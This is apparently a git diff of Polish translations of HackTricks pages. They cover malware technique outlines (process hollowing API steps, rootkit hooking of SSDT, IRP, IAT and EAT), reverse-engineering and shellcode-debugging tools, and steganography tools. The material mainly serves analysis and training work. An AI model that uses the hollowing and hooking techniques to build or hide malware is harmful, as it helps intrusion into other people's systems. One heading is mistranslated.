Złośliwe oprogramowanie odmapuje legalny kod z pamięci procesu i załaduje złośliwy plik binarny
|
||||
|
||||
1. Utwórz nowy proces: CreateProcess
|
||||
2. Odmapuj pamięć: ZwUnmapViewOfSection, NtUnmapViewOfSection
|
||||
3. Zapisz złośliwy plik binarny w pamięci procesu: VirtualAllocEc, WriteProcessMemory
|
||||
3. Zapisz złośliwy binarny w pamięci procesu: VirtualAllocEc, WriteProcessMemory
|
||||
4. Ustaw punkt wejścia i wykonaj: SetThreadContext, ResumeThread
|
||||
|
||||
## Hooking
|
||||
|
||||
* **SSDT** (**System Service Descriptor Table**) wskazuje na funkcje jądra (ntoskrnl.exe) lub sterownik GUI (win32k.sys), dzięki czemu procesy użytkownika mogą wywoływać te funkcje.
|
||||
* Rootkit może zmodyfikować te wskaźniki na adresy, które kontroluje
|
||||
* **IRP** (**I/O Request Packets**) przesyłają fragmenty danych z jednego komponentu do drugiego. Prawie wszystko w jądrze używa IRP, a każdy obiekt urządzenia ma własną tabelę funkcji, którą można przechwycić: DKOM (Direct Kernel Object Manipulation)
|
||||
* **IRP** (**I/O Request Packets**) przesyłają fragmenty danych z jednego komponentu do drugiego. Prawie wszystko w jądrze korzysta z IRP, a każdy obiekt urządzenia ma własną tabelę funkcji, którą można przechwycić: DKOM (Bezpośrednie Modyfikacje Obiektów Jądra)
|
||||
* **IAT** (**Import Address Table**) jest przydatna do rozwiązywania zależności. Można przechwycić tę tabelę, aby przejąć kod, który zostanie wywołany.
|
||||
* **EAT** (**Export Address Table**) Hooks. Te haki można wykonać z **userland**. Celem jest przechwycenie funkcji eksportowanych przez biblioteki DLL.
|
||||
* **Inline Hooks**: Ten typ jest trudny do osiągnięcia. Polega to na modyfikowaniu kodu funkcji. Być może poprzez umieszczenie skoku na początku tego.
|
||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) **i** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **na GitHubie.**
|
||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) **i** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **na githubie.**
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# Narzędzia do Odwracania i Podstawowe Metody
|
||||
# Narzędzia do Odwracania Inżynieryjnego i Podstawowe Metody
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -10,19 +10,19 @@ Inne sposoby wsparcia HackTricks:
|
|||
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
|
||||
|
||||
</details>
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Narzędzia do Odwracania oparte na ImGui
|
||||
## Narzędzia do Odwracania Inżynieryjnego oparte na ImGui
|
||||
|
||||
Oprogramowanie:
|
||||
|
||||
|
@ -45,25 +45,25 @@ Oprogramowanie:
|
|||
|
||||
### [dotPeek](https://www.jetbrains.com/decompiler/)
|
||||
|
||||
dotPeek to dekompilator, który **dekompiluje i analizuje wiele formatów**, w tym **biblioteki** (.dll), **pliki metadanych systemu Windows** (.winmd) i **pliki wykonywalne** (.exe). Po dekompilacji, zestaw można zapisać jako projekt Visual Studio (.csproj).
|
||||
dotPeek to dekompilator, który **dekompiluje i analizuje wiele formatów**, w tym **biblioteki** (.dll), **pliki metadanych systemu Windows** (.winmd) i **pliki wykonywalne** (.exe). Po dekompilacji zestawu można zapisać jako projekt Visual Studio (.csproj).
|
||||
|
||||
Zaletą jest to, że jeśli utracony kod źródłowy wymaga przywrócenia z archiwalnego zestawu, ta czynność może zaoszczędzić czas. Ponadto dotPeek zapewnia wygodną nawigację po zdekompilowanym kodzie, co czyni go jednym z doskonałych narzędzi do analizy algorytmów Xamarin.
|
||||
|
||||
### [.NET Reflector](https://www.red-gate.com/products/reflector/)
|
||||
|
||||
Z kompleksowym modelem dodatków i interfejsem API rozszerzającym narzędzie, aby dostosować je do swoich dokładnych potrzeb, .NET Reflector oszczędza czas i upraszcza rozwój. Przejrzyjmy mnogość usług inżynierii wstecznej, które oferuje to narzędzie:
|
||||
Dzięki kompleksowemu modelowi dodatków i interfejsowi API rozszerzającemu narzędzie, .NET Reflector oszczędza czas i upraszcza rozwój. Przejrzyjmy mnogość usług inżynierii wstecznej, które oferuje to narzędzie:
|
||||
|
||||
* Zapewnia wgląd w sposób przepływu danych przez bibliotekę lub komponent
|
||||
* Zapewnia wgląd w implementację i użycie języków i frameworków .NET
|
||||
* Znajduje funkcjonalności nieudokumentowane i nieujawnione, aby uzyskać więcej z używanych interfejsów API i technologii.
|
||||
* Znajduje zależności i różne zestawy
|
||||
* Namierza dokładne miejsce błędów w kodzie, komponentach innych firm i bibliotekach.
|
||||
* Namierza dokładne miejsce błędów w twoim kodzie, komponentach innych firm i bibliotekach.
|
||||
* Debuguje źródło całego kodu .NET, z którym pracujesz.
|
||||
|
||||
### [ILSpy](https://github.com/icsharpcode/ILSpy) & [dnSpy](https://github.com/dnSpy/dnSpy/releases)
|
||||
|
||||
[Plugin ILSpy dla Visual Studio Code](https://github.com/icsharpcode/ilspy-vscode): Możesz go mieć w dowolnym systemie operacyjnym (możesz zainstalować go bezpośrednio z VSCode, nie trzeba pobierać z git. Kliknij **Extensions** i **szukaj ILSpy**).\
|
||||
Jeśli musisz **dekompilować**, **modyfikować** i **ponownie kompilować**, możesz użyć [**dnSpy**](https://github.com/dnSpy/dnSpy/releases) lub aktywnie utrzymywanego forka, [**dnSpyEx**](https://github.com/dnSpyEx/dnSpy/releases). (**Kliknij prawym przyciskiem -> Zmodyfikuj metodę** aby zmienić coś wewnątrz funkcji).
|
||||
[Wtyczka ILSpy dla Visual Studio Code](https://github.com/icsharpcode/ilspy-vscode): Możesz ją mieć w dowolnym systemie operacyjnym (możesz zainstalować ją bezpośrednio z VSCode, nie trzeba pobierać z git. Kliknij **Extensions** i **szukaj ILSpy**).\
|
||||
Jeśli musisz **dekompilować**, **modyfikować** i **ponownie kompilować**, możesz użyć [**dnSpy**](https://github.com/dnSpy/dnSpy/releases) lub aktywnie rozwijanej gałęzi, [**dnSpyEx**](https://github.com/dnSpyEx/dnSpy/releases). (**Kliknij prawym przyciskiem -> Zmodyfikuj metodę** aby zmienić coś wewnątrz funkcji).
|
||||
|
||||
### Logowanie DNSpy
|
||||
|
||||
|
@ -98,13 +98,13 @@ Następnie zapisz nowy plik za pomocą _**Plik >> Zapisz moduł...**_:
|
|||
|
||||
![](<../../.gitbook/assets/image (279).png>)
|
||||
|
||||
Jest to konieczne, ponieważ jeśli tego nie zrobisz, podczas **uruchamiania** kodu zostanie zastosowanych kilka **optymalizacji** i może się zdarzyć, że podczas debugowania **punkt przerwania nie zostanie osiągnięty** lub niektóre **zmienne nie będą istnieć**.
|
||||
Jest to konieczne, ponieważ jeśli tego nie zrobisz, podczas **uruchamiania** kodu zostanie zastosowanych kilka **optymalizacji**, co może spowodować, że podczas debugowania **punkt przerwania nie zostanie osiągnięty** lub niektóre **zmienne nie będą istnieć**.
|
||||
|
||||
Następnie, jeśli twoja aplikacja .NET jest **uruchamiana** przez **IIS**, możesz ją **ponownie uruchomić** za pomocą:
|
||||
```
|
||||
iisreset /noforce
|
||||
```
|
||||
Następnie, aby rozpocząć debugowanie, należy zamknąć wszystkie otwarte pliki i w zakładce **Debug** wybrać opcję **Attach to Process...**:
|
||||
Następnie, aby rozpocząć debugowanie, należy zamknąć wszystkie otwarte pliki i w zakładce **Debug** wybrać **Attach to Process...**:
|
||||
|
||||
![](<../../.gitbook/assets/image (280).png>)
|
||||
|
||||
|
@ -122,7 +122,7 @@ Kliknij dowolny moduł w **Modules** i wybierz **Open All Modules**:
|
|||
|
||||
![](<../../.gitbook/assets/image (284).png>)
|
||||
|
||||
Kliknij prawym przyciskiem myszy na dowolny moduł w **Assembly Explorer** i wybierz **Sort Assemblies**:
|
||||
Kliknij prawym przyciskiem myszy dowolny moduł w **Assembly Explorer** i kliknij **Sort Assemblies**:
|
||||
|
||||
![](<../../.gitbook/assets/image (285).png>)
|
||||
|
||||
|
@ -147,24 +147,24 @@ Kliknij prawym przyciskiem myszy na dowolny moduł w **Assembly Explorer** i wyb
|
|||
|
||||
Następnie, gdy rozpoczniesz debugowanie, **wykonanie zostanie zatrzymane po załadowaniu każdego DLL**, a gdy rundll32 załaduje twoje DLL, wykonanie zostanie zatrzymane.
|
||||
|
||||
Ale jak uzyskać dostęp do kodu załadowanego DLL? Korzystając z tej metody, nie wiem jak.
|
||||
Ale jak uzyskać dostęp do kodu DLL, który został załadowany? Korzystając z tej metody, nie wiem jak.
|
||||
|
||||
### Korzystanie z x64dbg/x32dbg
|
||||
|
||||
* **Załaduj rundll32** (64 bity w C:\Windows\System32\rundll32.exe i 32 bity w C:\Windows\SysWOW64\rundll32.exe)
|
||||
* **Zmień linię poleceń** ( _File --> Change Command Line_ ) i ustaw ścieżkę do pliku DLL i funkcję, którą chcesz wywołać, na przykład: "C:\Windows\SysWOW64\rundll32.exe" "Z:\shared\Cybercamp\rev2\\\14.ridii\_2.dll",DLLMain
|
||||
* **Zmień linię poleceń** ( _File --> Change Command Line_ ) i ustaw ścieżkę do pliku DLL oraz funkcję, którą chcesz wywołać, na przykład: "C:\Windows\SysWOW64\rundll32.exe" "Z:\shared\Cybercamp\rev2\\\14.ridii\_2.dll",DLLMain
|
||||
* Zmień _Options --> Settings_ i wybierz "**DLL Entry**".
|
||||
* Następnie **rozpocznij wykonanie**, debugger zatrzyma się przy każdym głównym punkcie DLL, w pewnym momencie zatrzymasz się w **wejściu DLL twojego DLL**. Następnie wyszukaj punkty, w których chcesz ustawić punkt przerwania.
|
||||
* Następnie **rozpocznij wykonanie**, debugger zatrzyma się przy każdym głównym elemencie DLL, w pewnym momencie zatrzymasz się w **wejściu DLL twojego DLL**. Następnie wyszukaj punkty, w których chcesz ustawić punkt przerwania.
|
||||
|
||||
Zauważ, że gdy wykonanie zostanie zatrzymane z jakiegokolwiek powodu w win64dbg, możesz zobaczyć **w jakim kodzie się znajdujesz** patrząc na **górę okna win64dbg**:
|
||||
|
||||
![](<../../.gitbook/assets/image (137).png>)
|
||||
|
||||
Następnie, patrząc na to, możesz zobaczyć, kiedy wykonanie zostało zatrzymane w interesującym ci DLL.
|
||||
Następnie, patrząc na to, możesz zobaczyć, kiedy wykonanie zostało zatrzymane w DLL, którą chcesz debugować.
|
||||
|
||||
## Aplikacje GUI / Gry wideo
|
||||
|
||||
[**Cheat Engine**](https://www.cheatengine.org/downloads.php) to przydatny program do znajdowania ważnych wartości zapisanych w pamięci działającej gry i ich zmiany. Więcej informacji znajdziesz tutaj:
|
||||
[**Cheat Engine**](https://www.cheatengine.org/downloads.php) to przydatny program do znajdowania ważnych wartości zapisanych w pamięci działającej gry i ich zmiany. Więcej informacji znajdziesz w:
|
||||
|
||||
{% content-ref url="cheat-engine.md" %}
|
||||
[cheat-engine.md](cheat-engine.md)
|
||||
|
@ -179,7 +179,7 @@ Następnie, patrząc na to, możesz zobaczyć, kiedy wykonanie zostało zatrzyma
|
|||
### Debugowanie shellkodu za pomocą blobrunner
|
||||
|
||||
[**Blobrunner**](https://github.com/OALabs/BlobRunner) **przydzieli** **shellkod** w przestrzeni pamięci, wskaże **adres pamięci**, w którym shellkod został przydzielony, a następnie **zatrzyma** wykonanie.\
|
||||
Następnie musisz **dołączyć debugger** (Ida lub x64dbg) do procesu, ustawić **punkt przerwania na wskazanym adresie pamięci** i **wznowić** wykonanie. W ten sposób będziesz debugować shellkod.
|
||||
Następnie musisz **dołączyć debugger** (Ida lub x64dbg) do procesu i ustawić **punkt przerwania na wskazanym adresie pamięci**, a następnie **wznów** wykonanie. W ten sposób będziesz debugować shellkod.
|
||||
|
||||
Na stronie wydań na GitHubie znajdziesz skompilowane wersje: [https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5](https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5)\
|
||||
Możesz znaleźć nieco zmodyfikowaną wersję Blobrunner pod następującym linkiem. Aby ją skompilować, wystarczy **utworzyć projekt C/C++ w Visual Studio Code, skopiować i wkleić kod oraz go skompilować**.
|
||||
|
@ -190,7 +190,7 @@ Możesz znaleźć nieco zmodyfikowaną wersję Blobrunner pod następującym lin
|
|||
|
||||
### Debugowanie shellkodu za pomocą jmp2it
|
||||
|
||||
[**jmp2it** ](https://github.com/adamkramer/jmp2it/releases/tag/v1.4)jest bardzo podobny do blobrunner. **Przydzieli** **shellkod** w przestrzeni pamięci i rozpocznie **wieczną pętlę**. Następnie musisz **dołączyć debugger** do procesu, **rozpocząć działanie, poczekać 2-5 sekund i nacisnąć stop**, aby znaleźć się w **wiecznej pętli**. Przejdź do następnej instrukcji wiecznej pętli, która będzie wywołaniem do shellkodu, a ostatecznie będziesz wykonywać shellkod.
|
||||
[**jmp2it** ](https://github.com/adamkramer/jmp2it/releases/tag/v1.4)jest bardzo podobny do blobrunner. **Przydzieli** **shellkod** w przestrzeni pamięci i rozpocznie **wieczną pętlę**. Następnie musisz **dołączyć debugger** do procesu, **rozpocząć działanie, poczekać 2-5 sekund i nacisnąć stop**, a znajdziesz się w **wiecznej pętli**. Przejdź do następnej instrukcji wiecznej pętli, ponieważ będzie to wywołanie shellkodu, a ostatecznie będziesz wykonywać shellkod.
|
||||
|
||||
![](<../../.gitbook/assets/image (397).png>)
|
||||
|
||||
|
@ -200,7 +200,7 @@ Możesz pobrać skompilowaną wersję [jmp2it ze strony wydań](https://github.c
|
|||
|
||||
[**Cutter**](https://github.com/rizinorg/cutter/releases/tag/v1.12.0) to GUI radare. Za pomocą Cuttera możesz emulować shellkod i dynamicznie go analizować.
|
||||
|
||||
Zauważ, że Cutter pozwala na "Otwarcie pliku" i "Otwarcie shellkodu". W moim przypadku, gdy otworzyłem shellkod jako plik, został poprawnie zdekompilowany, ale gdy otworzyłem go jako shellkod, nie:
|
||||
Należy zauważyć, że Cutter pozwala na "Otwarcie pliku" i "Otwarcie shellkodu". W moim przypadku, gdy otworzyłem shellkod jako plik, został poprawnie zdekompilowany, ale gdy otworzyłem go jako shellkod, nie:
|
||||
|
||||
![](<../../.gitbook/assets/image (400).png>)
|
||||
|
||||
|
@ -214,9 +214,9 @@ Możesz zobaczyć stos na przykład w postaci zrzutu szesnastkowego:
|
|||
|
||||
![](<../../.gitbook/assets/image (402).png>)
|
||||
|
||||
### Rozszyfrowywanie shellkodu i uzyskiwanie funkcji wykonywanych
|
||||
### Rozszyfrowywanie shellkodu i uzyskiwanie wykonywanych funkcji
|
||||
|
||||
Spróbuj użyć [**scdbg**](http://sandsprite.com/blogs/index.php?uid=7\&pid=152).\
|
||||
Spróbuj [**scdbg**](http://sandsprite.com/blogs/index.php?uid=7\&pid=152).\
|
||||
Pokaże ci, które funkcje używa shellkod i czy shellkod **dekoduje** się w pamięci.
|
||||
```bash
|
||||
scdbg.exe -f shellcode # Get info
|
||||
|
@ -230,7 +230,7 @@ scDbg posiada również graficzny uruchamiacz, w którym możesz wybrać opcje,
|
|||
|
||||
![](<../../.gitbook/assets/image (398).png>)
|
||||
|
||||
Opcja **Create Dump** spowoduje zrzucenie ostatecznego shellcode, jeśli jakakolwiek zmiana zostanie dokonana dynamicznie w pamięci shellcode (przydatne do pobrania zdekodowanego shellcode). **Start offset** może być przydatny do uruchomienia shellcode w określonym przesunięciu. Opcja **Debug Shell** jest przydatna do debugowania shellcode za pomocą terminala scDbg (jednak uważam, że któreś z wcześniej wyjaśnionych opcji są lepsze w tej kwestii, ponieważ będziesz mógł użyć Ida lub x64dbg).
|
||||
Opcja **Create Dump** spowoduje zrzucenie ostatecznego shellcode, jeśli jakakolwiek zmiana zostanie dokonana dynamicznie w pamięci shellcode (przydatne do pobrania zdekodowanego shellcode). **Start offset** może być przydatny do uruchomienia shellcode w określonym przesunięciu. Opcja **Debug Shell** jest przydatna do debugowania shellcode za pomocą terminala scDbg (jednak uważam, że któreś z opcji wyjaśnionych wcześniej są lepsze w tej kwestii, ponieważ będziesz mógł użyć Ida lub x64dbg).
|
||||
|
||||
### Rozkładanie na części za pomocą CyberChef
|
||||
|
||||
|
@ -243,7 +243,7 @@ Ten obfuskator **modyfikuje wszystkie instrukcje dla `mov`** (tak, naprawdę faj
|
|||
* [https://www.youtube.com/watch?v=2VF\_wPkiBJY](https://www.youtube.com/watch?v=2VF\_wPkiBJY)
|
||||
* [https://github.com/xoreaxeaxeax/movfuscator/blob/master/slides/domas\_2015\_the\_movfuscator.pdf](https://github.com/xoreaxeaxeax/movfuscator/blob/master/slides/domas\_2015\_the\_movfuscator.pdf)
|
||||
|
||||
Jeśli masz szczęście, [demovfuscator](https://github.com/kirschju/demovfuscator) zdeobfuskuje binarny plik. Ma kilka zależności.
|
||||
Jeśli masz szczęście, [demovfuscator](https://github.com/kirschju/demovfuscator) zdemistyfikuje binarny plik. Ma kilka zależności
|
||||
```
|
||||
apt-get install libcapstone-dev
|
||||
apt-get install libz3-dev
|
||||
|
@ -258,7 +258,7 @@ Aby znaleźć **punkt wejścia**, wyszukaj funkcje za pomocą `::main` jak w:
|
|||
|
||||
![](<../../.gitbook/assets/image (612).png>)
|
||||
|
||||
W tym przypadku plik binarny nazywał się authenticator, więc jest dość oczywiste, że to jest interesująca funkcja główna.\
|
||||
W tym przypadku plik binarny nosił nazwę authenticator, więc jest dość oczywiste, że to jest interesująca funkcja główna.\
|
||||
Mając **nazwę** **funkcji**, które są wywoływane, wyszukaj je w **Internecie**, aby dowiedzieć się o ich **wejściach** i **wyjściach**.
|
||||
|
||||
## **Delphi**
|
||||
|
@ -267,7 +267,7 @@ Dla skompilowanych plików binarnych Delphi można użyć [https://github.com/cr
|
|||
|
||||
Jeśli musisz odwrócić binarny plik Delphi, sugeruję użycie wtyczki IDA [https://github.com/Coldzer0/IDA-For-Delphi](https://github.com/Coldzer0/IDA-For-Delphi)
|
||||
|
||||
Wystarczy nacisnąć **ATL+f7** (importuj wtyczkę python w IDA) i wybrać wtyczkę python.
|
||||
Wystarczy nacisnąć **ATL+f7** (importuj wtyczkę python w IDA) i wybierz wtyczkę python.
|
||||
|
||||
Ta wtyczka będzie wykonywać binarny plik i dynamicznie rozwiązywać nazwy funkcji na początku debugowania. Po rozpoczęciu debugowania ponownie naciśnij przycisk Start (zielony lub f9), a przerwa zostanie przerwana na początku rzeczywistego kodu.
|
||||
|
||||
|
@ -277,7 +277,7 @@ Jest to również bardzo interesujące, ponieważ jeśli naciśniesz przycisk w
|
|||
|
||||
Jeśli musisz odwrócić binarny plik Golang, sugeruję użycie wtyczki IDA [https://github.com/sibears/IDAGolangHelper](https://github.com/sibears/IDAGolangHelper)
|
||||
|
||||
Wystarczy nacisnąć **ATL+f7** (importuj wtyczkę python w IDA) i wybrać wtyczkę python.
|
||||
Wystarczy nacisnąć **ATL+f7** (importuj wtyczkę python w IDA) i wybierz wtyczkę python.
|
||||
|
||||
To rozwiąże nazwy funkcji.
|
||||
|
||||
|
@ -302,7 +302,7 @@ W [**no$gba**](https://problemkaputt.de/gba.htm), w _**Opcje --> Konfiguracja Em
|
|||
|
||||
![](<../../.gitbook/assets/image (578).png>)
|
||||
|
||||
Naciśnięcie każdego przycisku ma wartość, aby go zidentyfikować:
|
||||
Naciśnięcie każdego przycisku ma wartość identyfikacyjną:
|
||||
```
|
||||
A = 1
|
||||
B = 2
|
||||
|
@ -315,7 +315,7 @@ DOWN = 128
|
|||
R = 256
|
||||
L = 256
|
||||
```
|
||||
Więc w tego rodzaju programie interesującą częścią będzie **sposób, w jaki program traktuje dane wejściowe użytkownika**. W adresie **0x4000130** znajdziesz często spotykaną funkcję: **KEYINPUT**.
|
||||
Więc w tego rodzaju programie interesującą częścią będzie **sposób, w jaki program traktuje dane wprowadzone przez użytkownika**. W adresie **0x4000130** znajdziesz często spotykaną funkcję: **KEYINPUT**.
|
||||
|
||||
![](<../../.gitbook/assets/image (579).png>)
|
||||
|
||||
|
|
|
@ -6,17 +6,17 @@
|
|||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCYJNY**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
|
||||
|
||||
</details>
|
||||
|
||||
**Grupa Try Hard Security**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -26,7 +26,7 @@ Inne sposoby wsparcia HackTricks:
|
|||
|
||||
### **Binwalk**
|
||||
|
||||
Narzędzie do wyszukiwania ukrytych plików i danych osadzonych w plikach binarnych. Instalowane za pomocą `apt`, a jego źródło jest dostępne na [GitHub](https://github.com/ReFirmLabs/binwalk).
|
||||
Narzędzie do wyszukiwania ukrytych plików i danych osadzonych w plikach binarnych. Jest instalowane za pomocą `apt`, a jego źródło jest dostępne na [GitHub](https://github.com/ReFirmLabs/binwalk).
|
||||
```bash
|
||||
binwalk file # Displays the embedded data
|
||||
binwalk -e file # Extracts the data
|
||||
|
@ -34,13 +34,13 @@ binwalk --dd ".*" file # Extracts all data
|
|||
```
|
||||
### **Foremost**
|
||||
|
||||
Odzyskuje pliki na podstawie ich nagłówków i stóp, przydatne dla obrazów png. Zainstaluj za pomocą `apt` z źródłem na [GitHub](https://github.com/korczis/foremost).
|
||||
Odzyskuje pliki na podstawie ich nagłówków i stóp, przydatne dla obrazów png. Zainstalowany za pomocą `apt` z źródłem na [GitHub](https://github.com/korczis/foremost).
|
||||
```bash
|
||||
foremost -i file # Extracts data
|
||||
```
|
||||
### **Exiftool**
|
||||
|
||||
Pomaga wyświetlać metadane pliku, dostępny [tutaj](https://www.sno.phy.queensu.ca/~phil/exiftool/).
|
||||
Pomaga wyświetlać metadane pliku, dostępny [tutaj](https://www.sno.phy.queensu.ca/\~phil/exiftool/).
|
||||
```bash
|
||||
exiftool file # Shows the metadata
|
||||
```
|
||||
|
@ -120,13 +120,13 @@ zsteg specjalizuje się w odkrywaniu ukrytych danych w plikach PNG i BMP. Instal
|
|||
|
||||
### **StegoVeritas i Stegsolve**
|
||||
|
||||
**stegoVeritas** sprawdza metadane, wykonuje transformacje obrazu i stosuje brutalne siłowanie LSB, między innymi. Użyj `stegoveritas.py -h` dla pełnej listy opcji i `stegoveritas.py stego.jpg` aby wykonać wszystkie sprawdzenia.
|
||||
**stegoVeritas** sprawdza metadane, wykonuje transformacje obrazu i stosuje brutalną siłę LSB, między innymi. Użyj `stegoveritas.py -h` dla pełnej listy opcji i `stegoveritas.py stego.jpg` aby wykonać wszystkie sprawdzenia.
|
||||
|
||||
**Stegsolve** stosuje różne filtry kolorów, aby ujawnić ukryte teksty lub wiadomości w obrazach. Jest dostępny na [GitHubie](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve).
|
||||
|
||||
### **FFT do Wykrywania Ukrytej Zawartości**
|
||||
|
||||
Techniki Szybkiej Transformaty Fouriera (FFT) mogą ujawnić ukrytą zawartość w obrazach. Przydatne zasoby to:
|
||||
Techniki Szybkiej Transformaty Fouriera (FFT) mogą odsłonić ukrytą zawartość w obrazach. Przydatne zasoby to:
|
||||
|
||||
* [Demo EPFL](http://bigwww.epfl.ch/demo/ip/demos/FFT/)
|
||||
* [Ejectamenta](https://www.ejectamenta.com/Fourifier-fullscreen/)
|
||||
|
@ -137,6 +137,8 @@ Techniki Szybkiej Transformaty Fouriera (FFT) mogą ujawnić ukrytą zawartość
|
|||
Stegpy pozwala na osadzanie informacji w plikach obrazów i dźwięku, obsługując formaty takie jak PNG, BMP, GIF, WebP i WAV. Jest dostępny na [GitHubie](https://github.com/dhsdshdhk/stegpy).
|
||||
|
||||
### **Pngcheck do Analizy Plików PNG**
|
||||
|
||||
Aby analizować pliki PNG lub zweryfikować ich autentyczność, użyj:
|
||||
```bash
|
||||
apt-get install pngcheck
|
||||
pngcheck stego.png
|
||||
|
@ -146,7 +148,7 @@ pngcheck stego.png
|
|||
Dla dalszego eksplorowania, rozważ odwiedzenie:
|
||||
|
||||
* [Magic Eye Solver](http://magiceye.ecksdee.co.uk/)
|
||||
* [Analiza poziomu błędu obrazu](https://29a.ch/sandbox/2012/imageerrorlevelanalysis/)
|
||||
* [Analiza Poziomu Błędu Obrazu](https://29a.ch/sandbox/2012/imageerrorlevelanalysis/)
|
||||
* [Outguess](https://github.com/resurrecting-open-source-projects/outguess)
|
||||
* [OpenStego](https://www.openstego.com/)
|
||||
* [DIIT](https://diit.sourceforge.net/)
|
||||
|
@ -161,7 +163,7 @@ Steghide to wszechstronne narzędzie przeznaczone do ukrywania danych w plikach
|
|||
|
||||
### **Stegpy (PNG, BMP, GIF, WebP, WAV)**
|
||||
|
||||
To narzędzie jest kompatybilne z różnymi formatami, w tym PNG, BMP, GIF, WebP i WAV. Aby uzyskać więcej informacji, zajrzyj do [sekcji Stegpy](stego-tricks.md#stegpy-png-bmp-gif-webp-wav).
|
||||
To narzędzie jest kompatybilne z różnymi formatami, w tym PNG, BMP, GIF, WebP i WAV. Aby uzyskać więcej informacji, zapoznaj się z [sekcją Stegpy](stego-tricks.md#stegpy-png-bmp-gif-webp-wav).
|
||||
|
||||
### **ffmpeg**
|
||||
|
||||
|
@ -183,11 +185,11 @@ Deepsound umożliwia szyfrowanie i wykrywanie informacji w plikach dźwiękowych
|
|||
|
||||
### **Sonic Visualizer**
|
||||
|
||||
Niezastąpione narzędzie do wizualnej i analitycznej inspekcji plików dźwiękowych, Sonic Visualizer może ujawnić ukryte elementy niewykrywalne innymi metodami. Odwiedź [oficjalną stronę internetową](https://www.sonicvisualiser.org/) po więcej informacji.
|
||||
Niezastąpione narzędzie do wizualnej i analitycznej inspekcji plików audio, Sonic Visualizer może ujawnić ukryte elementy niewykrywalne innymi środkami. Odwiedź [oficjalną stronę internetową](https://www.sonicvisualiser.org/) po więcej informacji.
|
||||
|
||||
### **DTMF Tones - Sygnały wybierania**
|
||||
|
||||
Wykrywanie sygnałów DTMF w plikach dźwiękowych można osiągnąć za pomocą narzędzi online, takich jak [ten detektor DTMF](https://unframework.github.io/dtmf-detect/) i [DialABC](http://dialabc.com/sound/detect/index.html).
|
||||
Wykrywanie sygnałów DTMF w plikach audio można osiągnąć za pomocą narzędzi online, takich jak [ten detektor DTMF](https://unframework.github.io/dtmf-detect/) i [DialABC](http://dialabc.com/sound/detect/index.html).
|
||||
|
||||
## **Inne Techniki**
|
||||
|
||||
|
@ -198,9 +200,13 @@ Dane binarne, które dają liczbę całkowitą po podniesieniu do kwadratu, mog
|
|||
import math
|
||||
math.sqrt(2500) #50
|
||||
```
|
||||
### **Tłumaczenie Braille'a**
|
||||
### **Tłumaczenie na język polski**
|
||||
|
||||
Do tłumaczenia Braille'a użyj [Tłumacza Braille'a Branah](https://www.branah.com/braille-translator).
|
||||
